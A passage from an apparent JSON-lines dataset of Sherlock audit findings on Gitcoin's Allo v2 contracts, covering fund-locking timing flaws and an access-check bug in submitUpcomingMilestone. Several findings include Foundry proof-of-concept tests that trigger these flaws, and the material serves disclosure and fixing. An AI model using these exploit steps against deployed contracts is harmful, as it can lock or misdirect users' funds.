the funds will remain forever bricked in the contract. \n\n### Coded POC\n1. In the test contract `QVSimpleStrategy.t.sol` place these import statements:\n`import {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";`\n`import {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";`\n2. Place in the contract the below shown `testAllocateDistributeSameBlock()` and `_helperRegister2Recipients()` functions\n3. Execute with `forge test --match-test testAllocateDistributeSameBlock -vv`\n4. The expected result is a revert due to `distribute()` failing to distribute to an eligible recipient\n```solidity\nfunction testAllocateDistributeSameBlock() public {\n \n // two recipients\n address recipientAId;\n address recipientBId;\n\n // register the two recipients\n (recipientAId, recipientBId) = _helperRegister2Recipients();\n\n // Fund the Pool\n vm.warp(registrationEndTime + 10);\n\n token.mint(pool_manager1(), 100e18);\n\n vm.prank(pool_manager1());\n token.approve(address(allo()), 999999999e18);\n\n vm.prank(pool_manager1());\n allo().fundPool(poolId, 100e18);\n\n // Allocation Period Starts\n vm.warp(allocationStartTime + 10);\n\n address allocator = randomAddress();\n vm.startPrank(pool_manager1());\n qvSimpleStrategy().addAllocator(allocator);\n\n // each recipient will receive 10 credits\n bytes memory allocateData1 = __generateAllocation(recipientAId, 10);\n bytes memory allocateData2 = __generateAllocation(recipientBId, 10);\n\n vm.startPrank(address(allo()));\n\n // allocate to recipients\n qvSimpleStrategy().allocate(allocateData1, randomAddress());\n qvSimpleStrategy().allocate(allocateData2, randomAddress());\n\n vm.stopPrank();\n\n // Last block of allocation period but distribute() can already be called\n vm.warp(allocationEndTime);\n\n vm.startPrank(address(allo()));\n address[] memory recipients1 = new address[](1);\n address[] memory recipients2 = new address[](1);\n\n recipients1[0] = recipientAId;\n recipients2[0] = recipientBId;\n\n // distribute to recipient 1\n qvStrategy().distribute(recipients1, \"\", pool_admin());\n\n // allocate 10 more votes to recipient2 \n qvSimpleStrategy().allocate(allocateData2, randomAddress());\n \n // accounting is now wrong and distribute reverts - bricking the funds\n qvStrategy().distribute(recipients2, \"\", pool_admin());\n\n console.log(\"Token balance rec1\", token.balanceOf(recipientAId));\n console.log(\"Token balance rec2\", token.balanceOf(recipientBId));\n\n }\n\n function _helperRegister2Recipients() internal returns(address, address) {\n \n address recipientA = address(77);\n address recipientB = address(88);\n\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n \n bool _isUsingRegistryAnchor = false;\n\n bytes memory data1 = abi.encode(recipientA, _isUsingRegistryAnchor, metadata);\n bytes memory data2 = abi.encode(recipientB, _isUsingRegistryAnchor, metadata);\n\n \n // Register recipients\n vm.warp(registrationStartTime + 10);\n\n vm.startPrank(address(allo()));\n\n address recipientAId = qvStrategy().registerRecipient(data1, recipientA);\n address recipientBId = qvStrategy().registerRecipient(data2, recipientB);\n\n // Accept recipients\n address[] memory recipientIds = new address[](2);\n recipientIds[0] = recipientAId;\n recipientIds[1] = recipientBId;\n\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](2);\n Statuses[0] = IStrategy.Status.Accepted;\n Statuses[1] = IStrategy.Status.Accepted;\n\n vm.startPrank(pool_admin());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n\n return (recipientAId, recipientBId);\n }\n```\n## Impact\nDeveloper's timing assumptions are wrong, funds cannot be distributed accordingly and remain bricked, potential contracts / off-chain components relying on the correctness of the QV strategy can suffer unexpected behavior. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L310-L328\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\nFoundry\n\n## Recommendation\nRework the after allocation modifier to such\n```solidity\nfunction _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp <= allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/546.md"}} +{"title":"Reviewing recipients and registering register happen in the same time range causing missing few last registers to be review in DonationVotingMerkleDistributionBaseStrategy contract","severity":"medium","body":"Immense Teal Penguin\n\nmedium\n\n# Reviewing recipients and registering register happen in the same time range causing missing few last registers to be review in DonationVotingMerkleDistributionBaseStrategy contract\nReviewing recipients and registering register happen in the same time range causing missing few last registers to be review in DonationVotingMerkleDistributionBaseStrategy contract\n## Vulnerability Detail\nBoth functions `reviewRecipients` and `_registerRecipient` have the same modifier `onlyActiveRegistration` which is modifier about the time range should be allowed to call the functions\n```solidity\n function reviewRecipients(ApplicationStatus[] memory statuses)\n external\n onlyActiveRegistration\n onlyPoolManager(msg.sender)\n { ... }\n```\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n { ... }\n```\n```solidity\n modifier onlyActiveRegistration() {\n _checkOnlyActiveRegistration();\n _;\n }\n```\n```solidity\n\n function _checkOnlyActiveRegistration() internal view {\n if (registrationStartTime > block.timestamp || block.timestamp > registrationEndTime) {\n revert REGISTRATION_NOT_ACTIVE();\n }\n }\n```\n## Impact\nThis will make the pool manager don't have enough time to review the registerings that are very close to the deadline. Even if they do, in the last block that contain the last `reviewRecipients()` transaction, it can still has one or few `registerRecipient()` transactions which is impossible for pool manager to review it, making recipients ineligible to get picked\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528C1-L601C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341C1-L360C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L214C1-L217C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L457C1-L461C6\n## Tool used\n\nManual Review\n\n## Recommendation\nMake the new time range for reviewing the recipient after registering phase ended","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/514.md"}} +{"title":"In `DonationVotingMerkleDistributionDirectTransferStrategy` and `DonationVotingMerkleDistributionDirectVaultStrategy` registrations close to the end of the registration period can not be reviewed by a poolManager","severity":"medium","body":"Dandy Lavender Wombat\n\nmedium\n\n# In `DonationVotingMerkleDistributionDirectTransferStrategy` and `DonationVotingMerkleDistributionDirectVaultStrategy` registrations close to the end of the registration period can not be reviewed by a poolManager\n\nIf a user registers close to `registrationEndTime` of a pool, the poolManager will not have enough time to review the registration since `reviewRecipients` can only be called when the registration period is open\n\n## Vulnerability Detail\n\nIn `DonationVotingMerkleDistributionDirectTransferStrategy` and `DonationVotingMerkleDistributionDirectVaultStrategy` users can register themselves as potential recipients during the registration period. To become accepted, the registration needs to be reviewed by a poolManager by calling `reviewRecipients`. The problem is that the function `reviewRecipients` has the modifier ` onlyActiveRegistration` meaning it can only be called during the registration periode. If a user registers close to the end of the registration period the pool manager will not have time to review the registration until the registration period ends. \n\n\n## Impact\n\nNot all registrations will be reviewed and the purpose of a registration period will be negated\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341-L360\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a review period that starts when the registration period starts and ends some time after the registration period is already over. This will give the poolManager enough time to review every registration for the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/488.md"}} +{"title":"`QVSimpleStrategy`: part of the distribution may be locked when allocation and registration overlap","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# `QVSimpleStrategy`: part of the distribution may be locked when allocation and registration overlap\n\nWhile the registration is open, the recipient's status can change from Accepted to other statuses\nvia `QVBaseStrategy::reviewRecipients` or `registerRecipient`.\nUpon `QVSimpleStrategy::_allocate`, it checks whether the recipient is accepted.\nNormally, it will work okay if there is no overlap of registration and allocation.\nBut if there is an overlap, the funds allocated to the recipients, who later changed not being accepted will be locked.\n\n\n## Vulnerability Detail\n\nPool timestamps for registration and allocation are checked and updated via `QVBaseStrategy::_updatePoolTimestamps`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L342-L348\n\nAccording to the check, the timestamp should be:\n\n```solidity\n// QVBaseStrategy::_updatePoolTimestamps\n341 // validate the timestamps for this strategy\n342 if (\n343 block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n344 || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n345 || _registrationEndTime > _allocationEndTime\n346 ) {\n347 revert INVALID();\n348 }\n```\n\nWhich can translates into:\n\n```markdown\nblock.timestamp =< registrationStartTime =< registrationEndTime =< allocationEndTime\n registrationStartTime =< allocationStartTime =< allocationEndTime\n```\n\nTherefore, the check does not prohibits the overlap of registration and allocation.\n\n\nWhen the registration is open, there are two ways to change the status of the recipients:\n1. a member or the owner of a profile can call `registerRecipient`\n - https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L414-L426\n - change from `None` to `Pending`, `Accepted` to `Pending`, or `Rejected` to `Appealed`\n2. the pool manager can call `QVBaseStrategy::reviewRecipients` to change the status.\n - https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L277\n - it will change the status based on the vote\n\n\nWhen the allocation is open, the valid allocators can allocate via `Allo::allocate`.\nThe Allo will then call `BaseStrategy::allocate`, which will call the `QVSimpleStrategy::_allocate`, then `QVBaseStrategy::_qv_allocate`.\nThe `QVBaseStrategy::_qv_allocate` will add votes to the `_recipient.totalVotesReceived`.\nThe `_recipient.totalVotesReceived` will be used to calculate how much the recipient will be paid in `QVBaseStrategy::_getPayout`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L526-L527\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\nNote that the `QVBaseStrategy::totalRecipientVotes` is also updated, so that the sum of the `totalVotesReceived` for each recipient will result in the `totalRecipientVotes`. In the `QVBaseStrategy::_getPayout` function the portion of the each recipients `totalRecipientVotes` against the `totalVotesReceived` is calculated. So, if any of the recipient cannot get paid, the share of the recipient will be locked. Also the `QVSimpleStrategy`, `QVBaseStrategy` and `BaseStrategy` do not implement a function to recover the leftover funds.\n\nWhen the funds are distributed via `Allo::distribute` function, the `QVBaseStrategy::_distribute` reverts if the recipient is not accepted:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L451-L453\n\n\nIn summary, if some votes are cast to some recipients via `Allo::allocate` while they were accepted, and later their status changed, the portion of funds for the votes will be locked.\n\n\n## Impact\n\nThe funds allocated to recipients, whose status changes from accepted to another status, will be locked.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L342-L348\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L277\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L414-L426\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L526-L527\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L451-L453\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider disallowing the time overlap between registration and allocation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/445.md"}} +{"title":"Tokens can get locked in QVSimpleStrategy if recipient updates registration after being voted for","severity":"medium","body":"Sneaky Amethyst Robin\n\nmedium\n\n# Tokens can get locked in QVSimpleStrategy if recipient updates registration after being voted for\n\nIf a recipient updates their registration after already receiving an allocation and that re-registration isn't reviewed before the end of the registration period, that recipients share of the distribution will be permanently locked in the contract.\n\n## Vulnerability Detail\n\nIt's possible that a recipient updates their registration to change e.g. metadata or recipient address after having already been accepted and voted for. This is possible because timestamp validation logic used to set registration and allocation periods doesn't enforce that there is no overlap between periods, i.e. the registration end time can be > allocation start time. \n\nIf an accepted recipient is allocated to and decides to update their registration, e.g. to fix an incorrect recipient address, they are permitted to do so, but their registration will now be in a pending state until reviewed. Until the recipients updated registration is accepted, they cannot be distributed to. The big problem here lies in the fact that registration and review of recipients are both enforced to be within the registration period and as a result, if a recipient happens to update their registration near the end of the period, it may not be realistic for it to be reviewed before the end of the period. In that case, that recipient can never be accepted, their share of the distribution can never be distributed, and since there is no withdrawal logic those tokens would be permanently locked in the contract.\n\n## Impact\n\nTokens can be permanently locked in the contract.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L258\n```solidity\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n // @audit should be able to review after registration period\n onlyActiveRegistration\n{\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt should be enforced that:\n- Allocation period is strictly after registration period, or\n- Reviews can continue to be processed after the registration period","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//009-M/361.md"}} +{"title":"Unregistered user can submit Upcoming Milestone","severity":"medium","body":"Noisy Ocean Hornet\n\nhigh\n\n# Unregistered user can submit Upcoming Milestone\n\nIn RFPSimpleStrategy , recipients can call `submitUpcomingMilestone` with their proof of work. The docs mention that the caller must be an `acceptedRecipientId` and should be a `profile` member . \n\nThey do by checking through this:-\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255-L257\n\nBut , it does not check the case where, \n`acceptedRecipientId` == msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)\n\n\n\n## Vulnerability Detail\n\nPaste the below code in RFPSimpleStrategy.t.sol\nRun `forge test --mt test_poc_malicious_user_can_front_run_and_set_upcoming_milestone`\n```solidity\n function test_poc_malicious_user_can_front_run_and_set_upcoming_milestone() public {\n address recipient = makeAddr(\"malicious_recipient\");\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(recipient, false, 1e18, metadata);\n vm.prank(recipient);\n address recipientId = allo().registerRecipient(poolId, data);\n __setMilestones();\n\n emit Allocated(recipientId, 1e18, NATIVE, address(pool_admin()));\n\n data = abi.encode(recipient, false, 1e18, metadata);\n\n vm.prank(pool_admin());\n allo().allocate(poolId, abi.encode(recipientId));\n vm.expectEmit();\n emit MilstoneSubmitted(0);\n \n vm.prank(recipient);\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n \n RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);\n assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Pending)); \n }\n```\nHere, first `registerRecipient` is called, we assume , `useRegistryAnchor` is false for the pool. \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L327-L346\n\nHence , we jump to else block.\nAs `registryAnchor` == address(0), `isUsingRegistryAnchor` will be false.\nHence , this check passes\n```solidity\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n```\n\nNow even though recipient was not a profile member, they can call `submitUpcomingMilestone` . They will pass the check as they are acceptedRecipientId but not a profile Member.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255\n\n\n\n## Impact\nRecipient which are not even a profile member can set milestones . Now they can deceive everyone in the protocol who believe they are registered as a profile member.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that only user should be a profile member to be able to call `submitUpcomingMilestone`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/842.md"}} +{"title":"The check of `submitUpcomingMilestone` in `RFPSimpleStrategy.sol` can be bypassed because of the wrong operator used","severity":"medium","body":"Cheery Cedar Gecko\n\nmedium\n\n# The check of `submitUpcomingMilestone` in `RFPSimpleStrategy.sol` can be bypassed because of the wrong operator used\n`submitUpcomingMilestone` function uses an `if` statement to check if the caller is the `acceptedRecipientId` and a profile member, but the because of the fact the the wrong operator is used, this can be bypassed.\n## Vulnerability Detail\nAs you can see here in the comments the `if` statement is used to check is the `msg.sender` is `acceptedRecipientId` and a profile member \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L250\nbut the way the `if` statement is written will basically check only for on instance and not both of them as intended. As can be seen, the `if` statement uses the `&&` operator \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255-L257\nwhich means that for the `if` statement to go into the `revert` it needs for both statements to be false, and not just one. To check if the `msg.sender` is both `acceptedRecipientId` and a profile member or revert, the operator used need to be `||` so in the case where any of the two statements are false, it will go right into revert.\n## Impact\nImpact is a medium one since the check can be bypassed easily if for example the `msg.sender` is only a profile member but not the actual `acceptedRecipientId`.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255-L257\n## Tool used\n\nManual Review\n\n## Recommendation\nUse the `||` operator instead of `&&` to check for both cases, as stated in the comments.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/746.md"}} +{"title":"Wrong check in RFPSimpleStrategy#submitUpcomingMilestone","severity":"medium","body":"Bright Midnight Chipmunk\n\nhigh\n\n# Wrong check in RFPSimpleStrategy#submitUpcomingMilestone\n\nWrong check in RFPSimpleStrategy#submitUpcomingMilestone\n\n## Vulnerability Detail\n\nComment in the `submitUpcomingMilestone` function states that function should be allowed to call only by the address that is `acceptedRecipientId` AND member of the Profile:\n```solidity\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n```\n\nHowever, due to the `&&` operator in the `if` condition - an address that is `acceptedRecipientId` OR a member of the Profile would be allowed to call the `submitUpcomingMilestone` function.\n\n## Impact\n\nOnly accepted recipients who are also profile members should be allowed to submit milestones. However, currently, any profile member can submit them.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255\n```solidity\nFile: RFPSimpleStrategy.sol\n249: /// @notice Submit milestone by the acceptedRecipientId.\n250: /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n251: /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n252: /// @param _metadata The proof of work\n253: function submitUpcomingMilestone(Metadata calldata _metadata) external {\n254: // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n255: if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) { \n256: revert UNAUTHORIZED();\n257: }\n...\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider updating the `if` condition operator from `&&` to `||` in the RFPSimpleStrategy#submitUpcomingMilestone function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/700.md"}} +{"title":"The milestone's status can be changed by unauthorized users in RFPSimpleStrategy","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# The milestone's status can be changed by unauthorized users in RFPSimpleStrategy\nThe milestone's status can be changed by unauthorized users in RFPSimpleStrategy.\n\n## Vulnerability Detail\nAccording to the comments, 'msg.sender' must be the 'acceptedRecipientId' **and** must be a member of a 'Profile'. The operation is not allowed as long as any one of the conditions is not met. So line 255 should be changed to \nif (acceptedRecipientId != msg.sender **||** !_isProfileMember(acceptedRecipientId, msg.sender))\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L249-L257\n\n## Impact\nThe milestone's status can be changed by unauthorized users.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L249-L257\n\n## Tool used\n\nManual Review\n\n## Recommendation\nline 255 should be changed to \n```solidity\nif (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender))\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/685.md"}} +{"title":"Any member of profile can submit upcoming milestone in RFPSimpleStrategy.sol","severity":"medium","body":"Quiet Seaweed Beaver\n\nmedium\n\n# Any member of profile can submit upcoming milestone in RFPSimpleStrategy.sol\nDue to bad logic checking in `submitUpcomingMilestone`, any member of profile can submit upcoming milestone in RFPSimpleStrategy.sol\n\n## Vulnerability Detail\nIn `submitUpcomingMilestone` function, developer noted that:\n\n /// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n /// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n\nBut it is not true, this is checking condition in the function:\n\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\nIn this checking condition, it will only revert when both two conditions are met, which mean msg.sender is profile member of `acceptedRecipientId` is enough to pass this check.\n## Impact\nAny member of `acceptedRecipientId` can submit upcoming milestone\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-#L271\n\n## Tool used\nManual Review\n\n## Recommendation\nChange checking condition to:\n\n if (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender))","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/684.md"}} +{"title":"Any registered profile member can submit for upcoming milestone in the RFPSimplyStrategy contract","severity":"medium","body":"Passive Clay Cougar\n\nhigh\n\n# Any registered profile member can submit for upcoming milestone in the RFPSimplyStrategy contract\n\nDue to the incorrect boolean operation, a user can be the acceptedRecipientId OR a profile member to submit an upcoming milestone.\n\n## Vulnerability Detail\n\nThe acceptedRecipientId is designated by the _allocate function of the RFPSimpleStrategy contract and is used when assessing if a user has the necessary privileges to submit an upcoming milestone through the `submitUpcomingMilestone` function. Only the pool manager has the authority to grant such a role through the `onlyPoolManager` modifier on the `_allocate` function however, because of an incorrect boolean operation, a user can simply be a profile member in order to submit a new milestone where as in the function natspec, both roles are supposed to be required.\n\n```solidity\n\n/// @dev 'msg.sender' must be the 'acceptedRecipientId' and must be a member\n/// of a 'Profile' to sumbit a milestone. Emits a 'MilestonesSubmitted()' event.\n\n```\n\n## Impact\n\nA user can trigger the bug by submitting the upcoming milestone without having the authority to do so thus breaking function invariants. The proof of concept below outlines this scenario which can be pasted at the foot of `RFPSimpleStrategy.t.sol` :\n\n```solidity\n \t\taddress attacker = vm.addr(9);\n\n function testMaliciousMilestone() public {\n\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(recipientAddress(), false, 1e18, metadata);\n\n vm.prank(address(allo()));\n address recipientId = strategy.registerRecipient(data, sender);\n\n // Setup attacker as only profile member - NOT ACCEPTED RECIPIENT ADDRESS\n address[] memory addMod = new address[](1);\n addMod[0] = attacker;\n \n bytes32 anchor = registry().anchorToProfileId(address(strategy.acceptedRecipientId()));\n (, , , , address profileOwner, ) = registry().profilesById(anchor);\n\n vm.prank(profileOwner);\n registry().addMembers(anchor, addMod);\n\n // Start scenario\n RFPSimpleStrategy.Milestone[] memory milestones = new RFPSimpleStrategy.Milestone[](2);\n RFPSimpleStrategy.Milestone memory milestone = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 7e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n RFPSimpleStrategy.Milestone memory milestone2 = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 3e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n\n milestones[0] = milestone;\n milestones[1] = milestone2;\n\n vm.prank(address(pool_admin()));\n strategy.setMilestones(milestones);\n\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientId), address(pool_admin()));\n\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n vm.deal(pool_admin(), 1e19);\n\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n registry().createProfile(1, \"attacker\", Metadata({protocol: 1, pointer: \"metadata\"}), address(attacker), new address[](0) );\n vm.prank(attacker);\n strategy.submitUpcomingMilestone(Metadata({protocol: 2, pointer: \"testmetadata\"}));\n \n\n }\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L255-L257\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI recommend refactoring the permissions check to use an `or` operator as opposed to an `and`. This would look like the following:\n\n```solidity\nif (acceptedRecipientId != msg.sender || !_isProfileMember(acceptedRecipientId, msg.sender)) { \n\trevert UNAUTHORIZED();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//008-M/665.md"}} +{"title":"A user who is not the accepted recipient can submit an upcoming milestone","severity":"medium","body":"Special Fiery Platypus\n\nhigh\n\n# A user who is not the accepted recipient can submit an upcoming milestone\nThe validation check on the `submitUpcomingMilestone` can be bypassed by a user who is not the accepted recipient.\n## Vulnerability Detail\nIn RFPSimpleStrategy.sol a new milestone can be submitted using the `submitUpcomingMilestone` function. It is intended for only the `acceptedRecipientId` to be able to submit an upcoming milestone, so the following check is made in the ``submitUpcomingMilestone` function:\n```solidity\nif (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n}\n```\nThe issue is that this allows for the `msg.sender` to not be the `acceptedRecipientId` if they are a profile member, as `acceptedRecipientId != msg.sender` would be `true`, but `!_isProfileMember(acceptedRecipientId, msg.sender)` would return false. As the `&&` operator is used the `revert UNAUTHORIZED();` would not be executed and the function call would be successful.\n## Impact\nUnauthorized users can set the upcoming milestone.\n## Code 